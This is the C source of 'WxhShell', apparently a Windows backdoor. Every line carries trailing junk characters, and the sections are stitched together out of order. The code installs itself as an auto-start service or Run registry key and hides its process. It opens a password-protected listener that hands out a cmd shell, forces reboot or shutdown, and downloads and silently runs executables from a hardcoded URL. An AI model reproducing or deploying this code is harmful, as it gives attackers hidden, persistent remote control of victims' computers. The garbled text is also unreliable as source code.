    if(Boot(SHUTDOWN)) KBN% TqH|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9T24dofkJ  
    else { sEdz`F  
    closesocket(wsh); vb6EO[e% I  
    ExitThread(0); F1L[3D^-  
    } {a:05Y  
    break; TI< x;p  
    } NEri{qxm  
  // 获取shell Nq6'7'x  
  case 's': { GN(<$,~g  
    CmdShell(wsh); j"69uj` R  
    closesocket(wsh); `<X-3)>;G  
    ExitThread(0); !sm/BsmL7T  
    break; !V37ePFje  
  } 1Qf}nWy  
  // 退出 $?0ch15/  
  case 'x': { e;6K xvX~  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); SE]5cJ'>  
    CloseIt(wsh); 4F~^RR"  
    break; 3Hom0g,V4  
    } w#9Kt W,tt  
  // 离开 =L" 0]4K  
  case 'q': { PFh ^Z L  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); /^BC Qaj  
    closesocket(wsh); f`uRC-B/  
    WSACleanup(); \7/yWd{N$  
    exit(1); U+)p'%f;  
    break; y3dk4s77  
        } L EgP-s W  
  } FRrp@hE  
  } yS\&2"o  
\%=\4%:  
  // 提示信息 kk3^m1  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <'I["Um  
} Lqj Qv$  
  } U4pIRa)S  
!SQcV'  
  return; |/*Pimk  
} F`nQS&y  
Z nc(Q  
// shell模块句柄 eyJ07  
int CmdShell(SOCKET sock) GlAI~\A  
{ p?:5 U[KM  
STARTUPINFO si; 5:h[%3'bB  
ZeroMemory(&si,sizeof(si)); 6@J=n@J$p  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ZYwcB]xE z  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; WD[eoi  
PROCESS_INFORMATION ProcessInfo; my.EvN  
char cmdline[]="cmd"; u#E'k KGO  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); pSw/QO9  
  return 0; 7C{ y NX#  
} *Y m? gCig  
Dsg>~J'  
// 自身启动模式 3yZmW$E.  
int StartFromService(void) G21o @38e  
{ yp.K-  
typedef struct `Z?wj@H1`  
{ ;<AcW.jx  
  DWORD ExitStatus; EiW|+@1  
  DWORD PebBaseAddress; /fr>Fd  
  DWORD AffinityMask; u]J@65~'b  
  DWORD BasePriority; *x"80UXL  
  ULONG UniqueProcessId; #@S%?`4,  
  ULONG InheritedFromUniqueProcessId; jhNFaBrS  
}   PROCESS_BASIC_INFORMATION; 0CrsZtX  
p~qe/  
PROCNTQSIP NtQueryInformationProcess; $7S"4rou  
k"(]V  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 0M_oFx  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; x<NPp&GE  
BX@Iq  
  HANDLE             hProcess; K9lgDk"i  
  PROCESS_BASIC_INFORMATION pbi; 'YNaLZ20  
I &t~o  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Eah6"j!B8n  
  if(NULL == hInst ) return 0; OU[<\d  
E $@W~).!  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); u/zBz*zh  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); :S+K\  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); [. 5m}V  
X W)TI  
  if (!NtQueryInformationProcess) return 0; Kx__&a  
ji"g)d6  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 7RAB"T;?Q  
  if(!hProcess) return 0; ISbs l =F  
&],uD3:5O  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; E7fx4kV  
`Lf'/q   
  CloseHandle(hProcess); n|SV)92o1  
}h5i Tc  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); )+E[M!34  
if(hProcess==NULL) return 0; 1j<(?MT-  
{meX2Z4  
HMODULE hMod; nM )C^$3<t  
char procName[255]; O !L`0 =%c  
unsigned long cbNeeded; VM"cpC_8  
*Z5^WHwg  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); a|aVc'j  
bLgH3[{  
  CloseHandle(hProcess); /:&!o2&1H  
l>?c AB[  
if(strstr(procName,"services")) return 1; // 以服务启动 k*.]*]   
I2ek`t]  
  return 0; // 注册表启动 &|>+LP@8  
} 24mdhT|  
H"C'<(4*\  
// 主模块 C$3*[  
int StartWxhshell(LPSTR lpCmdLine) T(4d5 fY  
{ ]T4/dk&|o^  
  SOCKET wsl; (!os &/",  
BOOL val=TRUE; p5Q]/DhG  
  int port=0; W .7rHa  
  struct sockaddr_in door; gg;r;3u  
\U~4b_aN  
  if(wscfg.ws_autoins) Install(); f& 4_:'-,  
US6_5>/  
port=atoi(lpCmdLine); pMc6p0  
W L$^B@gXQ  
if(port<=0) port=wscfg.ws_port; v0^9 "V:y  
&K)8  
  WSADATA data; X|M!Nt0'  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; CUA @CZ6{  
&c`-/8c  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   B[vj X"yg  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); bdUPo+  
  door.sin_family = AF_INET; adON&<  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); <_tmkLeZf  
  door.sin_port = htons(port); +>w]T\[1~  
.b :!qUE^  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { $ |4C]Me (  
closesocket(wsl); l?Y^3x}j  
return 1; `sxfj)s  
} uFd$*`jS  
q^@*{H  
  if(listen(wsl,2) == INVALID_SOCKET) { yoi4w 7:  
closesocket(wsl); LHAlXo;  
return 1; :NzJvI<  
} Ycm)PU["  
  Wxhshell(wsl); FB=oGgwwq  
  WSACleanup(); R{hX--|j  
bIKg>U'5d  
return 0; ]m]`J|%i  
bP,<^zA|X  
} 3KLUH=)P  
z*Sm5i&)_q  
// 以NT服务方式启动 _MBa&XEM  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) `h}eP[jA  
{ +bjy#=  
DWORD   status = 0; d{ (,Gy>I  
  DWORD   specificError = 0xfffffff; W<Uu.Y{sG  
ffCDO\i({  
  serviceStatus.dwServiceType     = SERVICE_WIN32; E'5*w6  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; f49kf**  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; We+rFk1ddt  
  serviceStatus.dwWin32ExitCode     = 0; fJ,N.O+9E  
  serviceStatus.dwServiceSpecificExitCode = 0; 8$Q`wRt(%  
  serviceStatus.dwCheckPoint       = 0; l =^A41L_  
  serviceStatus.dwWaitHint       = 0; vccWe7rh  
LyUn!zV$(  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); BEZ~<E&0H  
  if (hServiceStatusHandle==0) return; \?bV\/GBR  
D+8d^-:  
status = GetLastError(); w$gvgz  
  if (status!=NO_ERROR) R^Rc!G}  
{ a"~o'W7  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; _8K+iqMZG  
    serviceStatus.dwCheckPoint       = 0; z,HhSW?&^  
    serviceStatus.dwWaitHint       = 0; }v(wjD  
    serviceStatus.dwWin32ExitCode     = status; 6*8Wtq  
    serviceStatus.dwServiceSpecificExitCode = specificError; vr!J3H f  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 91 jRIB  
    return;  Xo^8o0xi  
  } AXfU$~  
8(3(kZxS  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; iT@` dEZ .  
  serviceStatus.dwCheckPoint       = 0; >WLPE6E  
  serviceStatus.dwWaitHint       = 0; r)(5,*v  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); P -m_],  
} dQut8>0&  
'1<Z"InU  
// 处理NT服务事件,比如:启动、停止 |5@Ra@0  
VOID WINAPI NTServiceHandler(DWORD fdwControl) lED!}h'4  
{ M 8^ID #  
switch(fdwControl) 3CUQQ_  
{ I-v} DuM  
case SERVICE_CONTROL_STOP: I?KN7(9u?  
  serviceStatus.dwWin32ExitCode = 0; 6)HmE[[F  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; D)*   
  serviceStatus.dwCheckPoint   = 0; O5dS$[`j\p  
  serviceStatus.dwWaitHint     = 0; <H[w0Z$  
  { \u=d`}E  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); `At.$3B  
  } 2Gyq40  
  return; vz^ ] g  
case SERVICE_CONTROL_PAUSE: R!VfTAv  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; :cpj{v;s  
  break; $+eeE  
case SERVICE_CONTROL_CONTINUE: N#w5}It  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; pDQ f(@M[  
  break; _S!^=9bJ  
case SERVICE_CONTROL_INTERROGATE: #-az]s|N  
  break; ^[ae )}  
}; {9IRW\kn  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); W5j wD  
} , 3R=8  
Sn:>|y~  
// 标准应用程序主函数 a[ {qb  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) AR"2?2<mJ7  
{ J_s`G  
w,~*ead  
// 获取操作系统版本 7j& t{q5  
OsIsNt=GetOsVer(); D#jwI,n}x  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 9#E *o~1  
Khq\@`RaT  
  // 从命令行安装 ci,(]T +!  
  if(strpbrk(lpCmdLine,"iI")) Install(); $`pf!b2Z  
UBo0c?,4  
  // 下载执行文件 S)CsH1Q  
if(wscfg.ws_downexe) { '2,~'Zk  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) opX07~1  
  WinExec(wscfg.ws_filenam,SW_HIDE); VO#rJ1J  
} AXw qN:P}  
7:`XE&Z  
if(!OsIsNt) { ;_sJ>.=\  
// 如果时win9x,隐藏进程并且设置为注册表启动 ;H$ Cq' I  
HideProc();  D2e-b  
StartWxhshell(lpCmdLine); yoE-a  
} @kXuC<  
else +h) "m/mE  
  if(StartFromService()) LpHGt]|D  
  // 以服务方式启动 L K&c~ Uy  
  StartServiceCtrlDispatcher(DispatchTable); j/v>,MM  
else P0N/bp2Uy  
  // 普通方式启动 /Qgb t  
  StartWxhshell(lpCmdLine); L3]J8oEmU  
^&3vGu9  
return 0; 2[ sY?C  
} tqZ91QpW  
s/1r{;q  
88Pt"[{1  
hV3]1E21"  
=========================================== ]4rmQAS7"  
Q`CuZkP(  
3G// _f  
mR}8}K]L  
)L<.;`g4x  
@6UY4vq9  
" %Z;RY5  
T! }G51  
#include <stdio.h> /N0mF< P  
#include <string.h> +o+f\!  
#include <windows.h> K#FD$,c~  
#include <winsock2.h> L1IF$eC  
#include <winsvc.h> 1$Up7=Dr=  
#include <urlmon.h> A-x^JC=  
81RuNs]  
#pragma comment (lib, "Ws2_32.lib") aru2H6  
#pragma comment (lib, "urlmon.lib") g5BL"Dn  
Uo3  
#define MAX_USER   100 // 最大客户端连接数 >iyNZ]."\  
#define BUF_SOCK   200 // sock buffer ``xm##K  
#define KEY_BUFF   255 // 输入 buffer ?[Yn<|  
|:)Bo<8  
#define REBOOT     0   // 重启 W83d$4\d  
#define SHUTDOWN   1   // 关机 HB9"T5Pd*  
&0 QUObK  
#define DEF_PORT   5000 // 监听端口 gD$&OkH  
osc8;B/  
#define REG_LEN     16   // 注册表键长度 PpRS4*nR  
#define SVC_LEN     80   // NT服务名长度 G>~/  
1I;q@g0  
// 从dll定义API XRaGV~  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); F'~r?D  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ~XUUrg;  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); rEr=Mi2  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); % :G78.  
Ehy(;n)\  
// wxhshell配置信息 TF%n1H-sF  
struct WSCFG { c((3B  
  int ws_port;         // 监听端口 (JU8F-/9  
  char ws_passstr[REG_LEN]; // 口令 (4Db%Iw  
  int ws_autoins;       // 安装标记, 1=yes 0=no hC-uz _/3  
  char ws_regname[REG_LEN]; // 注册表键名 hu-]SGb6  
  char ws_svcname[REG_LEN]; // 服务名 hl]d99Lc  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Dw=L]i :0v  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 #kQ! GMZH  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 TjpyU:R,&|  
int ws_downexe;       // 下载执行标记, 1=yes 0=no IO7z}![V;  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" HOD?i_  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 pIIp61=$  
zDg*ds\  
}; gd[muR ~  
WjBml'^RY  
// default Wxhshell configuration U/c+j{=~  
struct WSCFG wscfg={DEF_PORT, &4E|c[HN  
    "xuhuanlingzhe", <v ub Q4  
    1, c| %5SA  
    "Wxhshell", Tp;W  
    "Wxhshell", :M6|V_Yp  
            "WxhShell Service", /@"mQx~[q  
    "Wrsky Windows CmdShell Service", k r$)nf  
    "Please Input Your Password: ", =u0=)\0@r  
  1, ZW M:Wj192  
  "http://www.wrsky.com/wxhshell.exe", GS*O{u  
  "Wxhshell.exe" gvVy0nJI~  
    }; Gn7\4,C  
mq{Z Q'  
// 消息定义模块 )t~ad]oM  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Tw\@]fw  
char *msg_ws_prompt="\n\r? for help\n\r#>"; HubG>]  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; tE>FL  
char *msg_ws_ext="\n\rExit."; I N@ ~~  
char *msg_ws_end="\n\rQuit."; UXZ3~/L5 O  
char *msg_ws_boot="\n\rReboot..."; )g=mv*9>  
char *msg_ws_poff="\n\rShutdown..."; Qfeu3AT  
char *msg_ws_down="\n\rSave to "; C,,T7(: k  
^uX"04>;  
char *msg_ws_err="\n\rErr!"; X6sZwb  
char *msg_ws_ok="\n\rOK!"; -0uGzd+m*  
A?tCa*b^  
char ExeFile[MAX_PATH]; 6rS ? FG=  
int nUser = 0; i<&z'A6&]*  
HANDLE handles[MAX_USER]; =ZHN]PP  
int OsIsNt; yI=nu53BV  
T7YJC,^m  
SERVICE_STATUS       serviceStatus; :Gz$(!j1.'  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 5I* 1CIO  
!:d\A  
// 函数声明 #WA7}tHb  
int Install(void); Eoz/]b  
int Uninstall(void); ym p*:lH(  
int DownloadFile(char *sURL, SOCKET wsh); Bl)D/  
int Boot(int flag); '>OEQU5-  
void HideProc(void); )1 @v<I  
int GetOsVer(void); !}A`6z  
int Wxhshell(SOCKET wsl); 4P C'7V=S  
void TalkWithClient(void *cs); \>T1&JT  
int CmdShell(SOCKET sock); ]Y & 2&  
int StartFromService(void); z@~Z Mk  
int StartWxhshell(LPSTR lpCmdLine); 8<Nz34Y  
0?R$>=u  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); /3+E-|4s  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 0$XrtnM  
'Q'-7z-6  
// 数据结构和表定义 yR F+  
SERVICE_TABLE_ENTRY DispatchTable[] = `zs@W  
{ _2k<MiqCD[  
{wscfg.ws_svcname, NTServiceMain}, GDj_+G;tO\  
{NULL, NULL} yyPj!<.MGP  
}; p-C{$5& O1  
ILNghtm-  
// 自我安装 aorL,l  
int Install(void) AB!({EIi  
{ T5@t_D>8  
  char svExeFile[MAX_PATH]; +=`w  
  HKEY key; {3Gj rE  
  strcpy(svExeFile,ExeFile); *~`oA~-Q  
qvsfU*wo?  
// 如果是win9x系统,修改注册表设为自启动 Z(E .F,k  
if(!OsIsNt) { bz&9]% S<  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,0L< wa  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 11$v~<M  
  RegCloseKey(key); I%?M9y.u6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Q1h v2*/U  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); N9c#N%cu  
  RegCloseKey(key); T~>&m~} +  
  return 0; U:/_T>f%  
    } v@X[0J_8  
  } Mc  
} JjAO9j%  
else { }WQ:Rmi  
$~EY:  
// 如果是NT以上系统,安装为系统服务 .Gno K?  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 3,+Us B%  
if (schSCManager!=0) RXPl~]k#i  
{ ;?o"{mbb  
  SC_HANDLE schService = CreateService oxCfSA  
  ( IxP$ lx  
  schSCManager, 'u [cT$  
  wscfg.ws_svcname, =F*{O=  
  wscfg.ws_svcdisp, 0O q5;5  
  SERVICE_ALL_ACCESS, m[5ed1+  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , lKirc2  
  SERVICE_AUTO_START, UR`pZ.U?  
  SERVICE_ERROR_NORMAL, @[(%b{TE;  
  svExeFile, :Ea ]baM"  
  NULL, {-IRX)m*  
  NULL, YkV-]%c  
  NULL, %D^j7`Z  
  NULL, (w'k\y  
  NULL [s!cc:JR  
  ); )o_$AbPt  
  if (schService!=0) 87V XVI  
  { `tsqnw  
  CloseServiceHandle(schService); i];@e]   
  CloseServiceHandle(schSCManager); (i'wa6[E8  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); J0Y-e39 `  
  strcat(svExeFile,wscfg.ws_svcname); d #-<=6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { %ye4FwkRy  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 2LN5}[12]  
  RegCloseKey(key); k.0pPl  
  return 0; %8L5uMx  
    } ; UjP0z  
  } `^E(P1oJ3  
  CloseServiceHandle(schSCManager); 5.)/gK2$  
} )\0c2_w>  
} p4zV<qZ>e  
In4T`c?kQ  
return 1; "_&HM4%!  
} =7("xz %  
@}N;C ..Y$  
// 自我卸载 [C~{g#  
int Uninstall(void) jr5x!@rb  
{ W/R-~C e  
  HKEY key; fm% Y*<Y"  
Y)4D$9:  
if(!OsIsNt) { ~oBSf+N  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { KWV{wW=-  
  RegDeleteValue(key,wscfg.ws_regname); [[u&=.Au  
  RegCloseKey(key); 8<ri"m,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { z[, `  
  RegDeleteValue(key,wscfg.ws_regname); ;,&1  
  RegCloseKey(key); u"n ~ 9!G  
  return 0; 4~r=[|(aY  
  } \E<)B#  
} My'6 yQL  
} 4a~9?}V:  
else { 4B8{\ "6  
pRdO4?l  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); &"svt2  
if (schSCManager!=0) h:+>=~\  
{ ZjJEjw  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); T+/Gz'  
  if (schService!=0) 2\!.w^7'^T  
  { xH8nn3U  
  if(DeleteService(schService)!=0) { :U;ZBs3  
  CloseServiceHandle(schService); T%F8=kb-9  
  CloseServiceHandle(schSCManager); [ !:.9  
  return 0; Hv>Hz*s_I  
  } BO ^T :  
  CloseServiceHandle(schService); =l3* { ?G  
  } 3'6>zp  
  CloseServiceHandle(schSCManager); #/1,Cv yj  
} gasl%&  
} "mE<r2=@  
Wc_Ph40C<_  
return 1; 8 YBsYKC  
} F3a"SKMW  
[w)6OT  
// 从指定url下载文件 7<?v!vQ}-  
int DownloadFile(char *sURL, SOCKET wsh) Hca)5$yL  
{ jKu"Vi|j>  
  HRESULT hr; A|@d4+  
char seps[]= "/"; 2S8/ lsB  
char *token; nmN6RGx  
char *file; A! 1>  
char myURL[MAX_PATH]; }g _#.>D+  
char myFILE[MAX_PATH]; SR S~s  
T ~t%3G  
strcpy(myURL,sURL); 6q8qq/h)  
  token=strtok(myURL,seps); { lLUZM  
  while(token!=NULL) U=%S6uL\bx  
  { fr\UX}o  
    file=token; @,sg^KB  
  token=strtok(NULL,seps); ? B^*YCo7(  
  } 4 ITSDx  
15gI-Qb  
GetCurrentDirectory(MAX_PATH,myFILE); JWrvAM$O  
strcat(myFILE, "\\"); +B'9!t4 2  
strcat(myFILE, file); F:M3^I  
  send(wsh,myFILE,strlen(myFILE),0); hD l+  
send(wsh,"...",3,0); *Qg/W? "m  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ]}G (@9  
  if(hr==S_OK) }EO n=*  
return 0; +;z4.C{gM  
else 4aZsz,=  
return 1; e}}xZ%$4|  
n|L.d BAs]  
} obX|8hTL%  
_&JlE$ua7  
// 系统电源模块 Ty]CdyL$  
int Boot(int flag) 5NeEDY 2%#  
{ 'F[QE9]*  
  HANDLE hToken; `)H.TMI   
  TOKEN_PRIVILEGES tkp; =J?<M?ugf  
4- 6'  
  if(OsIsNt) { )r1Z}X(#d  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 2&!G@5  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); !cE)LG  
    tkp.PrivilegeCount = 1; F{f "xM  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; E( *$wD  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); )WEyB~'o  
if(flag==REBOOT) { BbiBtU  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 3QS"n.d  
  return 0; ;Fuxj!gF  
} "v~w#\pz7  
else { IEeh)aj[  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Q:kpaMA1P  
  return 0; %r~TMU2"  
} hlkf|H  
  } E9226  
  else { .Fh5:W N  
if(flag==REBOOT) { 8X*6i-j5E  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) WFN5&7$W  
  return 0; FQ(=Fnqn  
} _.FxqH>  
else { NRq jn; ,+  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) >&U]j*'4  
  return 0; kS?!"zk>  
} Pd^ilRB  
} -\>Bphu,y  
";",r^vr\  
return 1; Fz)z&WT  
} t_@%4Wn!1L  
eVbHPu4  
// win9x进程隐藏模块 R^_/iy  
void HideProc(void) +69sG9BA  
{ 4"wuqr|o  
8<?60sj  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); "PJ@Q9n__  
  if ( hKernel != NULL ) 0-4WLMx  
  { ]rHdG^0uss  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); se$GE:hC1Q  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); i':<Ro  
    FreeLibrary(hKernel); <(@m913|  
  } WGVvBX7#  
b\VY)=U  
return; iu&'v  
} u& :-&gva  
Y@^M U->+  
// 获取操作系统版本 "o}3i!2Qr  
int GetOsVer(void) U4O F{  
{ gnB%/g[_  
  OSVERSIONINFO winfo; 0$/wH#f  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Alp9] 0(  
  GetVersionEx(&winfo); K}! VY`  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ep,kImT  
  return 1; ~++y4NB8Q  
  else H-0A&oG  
  return 0; Cq/*/jBM  
} 0rA&_K[#-<  
s'fHh G6  
// 客户端句柄模块 }r*t V)  
int Wxhshell(SOCKET wsl) R^fVw Dl\  
{ ) <^9`  
  SOCKET wsh; (+bk +0  
  struct sockaddr_in client; U{n 0Z  
  DWORD myID; eA#J7=eC  
AVi w}Y J  
  while(nUser<MAX_USER) EQz`o+  
{ &kRkOjuk  
  int nSize=sizeof(client); +`_%U7p(  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); O^4:4tRpt  
  if(wsh==INVALID_SOCKET) return 1; Z]":xl\7  
y$#mk3(e~t  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); HDA!;&NRS  
if(handles[nUser]==0) I6'U[)%  
  closesocket(wsh); gn#4az3@e>  
else ;&^S-+  
  nUser++; ix$?/GlL  
  } # TC x8]F  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); do7 [Nj  
~%k<N/B  
  return 0; VGA?B@  
} q9yY%  
^cDHyB=v4d  
// 关闭 socket .0cm mpUNq  
void CloseIt(SOCKET wsh) wp-*S}TT  
{ -GDX#A-J  
closesocket(wsh); X]tjT   
nUser--; _)zSjFX9  
ExitThread(0); HpuHJ#l  
} *>9#a0cp  
=MRg  
// 客户端请求句柄 W!2(Ph*  
void TalkWithClient(void *cs) 9]Uvy|  
{ Bj;Fy9[yb  
AnfJyltS  
  SOCKET wsh=(SOCKET)cs; d9sl(;r  
  char pwd[SVC_LEN]; iAbtv^fn  
  char cmd[KEY_BUFF]; mz3!HksZ "  
char chr[1]; 6#K1LY5}  
int i,j; {SbA(a?B  
y 7|x<Z  
  while (nUser < MAX_USER) { h$G&4_O  
N3TkRJZ  
if(wscfg.ws_passstr) { t+W+f  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); k2" Z:\?z  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [l:3F<M  
  //ZeroMemory(pwd,KEY_BUFF); ~:D}L   
      i=0; smF#'"{  
  while(i<SVC_LEN) { mfIY7DP  
mBhG"0:  
  // 设置超时 @]Aul9.h  
  fd_set FdRead; *Ny^XQ_X  
  struct timeval TimeOut; 's8NO Xlj  
  FD_ZERO(&FdRead); H"tS33  
  FD_SET(wsh,&FdRead); "/[-U;ck  
  TimeOut.tv_sec=8; 2d>kc2=*  
  TimeOut.tv_usec=0; ,i;kAy)  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); fF;Oz"I{\  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); c_)vWU  
"gfy6m  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 6,7Fl=<  
  pwd=chr[0]; /RT3 r  
  if(chr[0]==0xd || chr[0]==0xa) { Xl.h&x0? 8  
  pwd=0; @c,}\"(  
  break; J@=1zL  
  } KCGs*kp>  
  i++; /iQ}DbtRb  
    } &G@(f=  
'sn%+oN  
  // 如果是非法用户,关闭 socket #U{^L{1Gx  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 3o%JJIn&  
} 3x#=@i  
VTa?y  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); qN1(mxa.?  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); vHcB ^Z  
S&Q1Ky^  
while(1) { [#fXmW>N/  
KM*sLC#  
  ZeroMemory(cmd,KEY_BUFF); 4r\Sbh  
KwlN  
      // 自动支持客户端 telnet标准   ]0GOSh  
  j=0; aEW Z*y  
  while(j<KEY_BUFF) { 2[}^ zTtA  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 9TjAEeU  
  cmd[j]=chr[0]; .Kv>*__-Q  
  if(chr[0]==0xa || chr[0]==0xd) { c (O+s/  
  cmd[j]=0; {:$0j|zL1  
  break; ..X efNbl  
  } ~Us1F=i_Q  
  j++; v(3nBZHv_!  
    } yK+76\} I  
=3?t%l;n  
  // 下载文件 t48(,  
  if(strstr(cmd,"http://")) { i,NN"  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); N'+d1  
  if(DownloadFile(cmd,wsh)) L[)+J2_<  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2T<QG>;)j  
  else UR ck#5  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _- H uO/  
  } 6|r` k75.  
  else { 8XD9fB^  
Z'6 o$Xv  
    switch(cmd[0]) { >|KfO>  
  !!E_WDZ#9  
  // 帮助 [ -bL>8  
  case '?': { W1$B6+}Z0V  
